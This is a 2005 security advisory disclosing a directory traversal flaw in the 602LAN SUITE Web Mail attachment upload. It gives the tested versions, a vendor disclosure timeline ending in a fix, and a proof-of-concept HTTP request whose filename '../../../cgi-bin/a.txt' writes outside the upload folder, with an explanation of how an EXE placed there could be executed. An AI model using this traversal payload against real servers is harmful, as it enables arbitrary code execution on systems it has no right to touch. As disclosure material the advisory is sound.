SIG^2 G-TEC - 602LAN SUITE Web Mail Vulnerability Allows File Upload to Arbitrary Directories

Summary

602LAN SUITE is a secure mail server with antivirus and anti-spam, built-in firewall with NAT and Web content filter proxy for controlled Internet sharing. The integrated Web server provides access to the Web Mail client, shared address book, remote administration and user home pages. SSL, ISAPI, CGI, and FastCGI support is available.

A directory traversal vulnerability was found in 602LAN SUITE's Web Mail file attachment upload feature that may be exploited to upload files to arbitrary locations on the server. A malicious mail user may upload an EXE file to the /cgi-bin directory of the server, and execute it by requesting the URL of the upload EXE file.

Tested System

602LAN SUITE Version 2004.0.04.1221 on English WinXP SP2, Win2K SP4.

Details

602LAN SUITE's Web Mail allows a logon mail user to upload file attachments when composing an email. Lack of input sanitization of the supplied filename allows the user to upload files to arbitrary location on the server. This may be exploited by a malicious web mail user to upload EXE files to the /cgi-bin directory of the server. After uploading the EXE file to /cgi-bin, it is possible to execute that file by directly requesting it's URL (i.e. http://[hostname]/cgi-bin/test.exe). Successful exploitation will allow upload and execution of arbitrary code/EXE files on the server.

POST /mail HTTP/1.0
Host: localhost
Content-Type: multipart/form-data; boundary=---------------------------287661860715985
Content-length: 540

-----------------------------287661860715985
Content-Disposition: form-data; name="U"

6E13745843714258F86310B04D7
-----------------------------287661860715985
Content-Disposition: form-data; name="A"

ATTACHMENTS
-----------------------------287661860715985
Content-Disposition: form-data; name="FILENAME"; filename="../../../cgi-bin/a.txt"
Content-Type: text/plain

Test File
-----------------------------287661860715985
Content-Disposition: form-data; name="ATTACH"

Attach
-----------------------------287661860715985--

Disclosure Timeline

22 Jan 05 - Vulnerability Discovered.
22 Jan 05 - Initial Vendor Notification using online Bug Report Form.
24 Jan 05 - Second Vendor Notification using online Bug Report Form and Email.
26 Jan 05 - Initial Vendor Reply.
04 Feb 05 - Vendor provided beta version.
07 Feb 05 - Received Notification that Fixed Version was Released.
07 Feb 05 - Public Release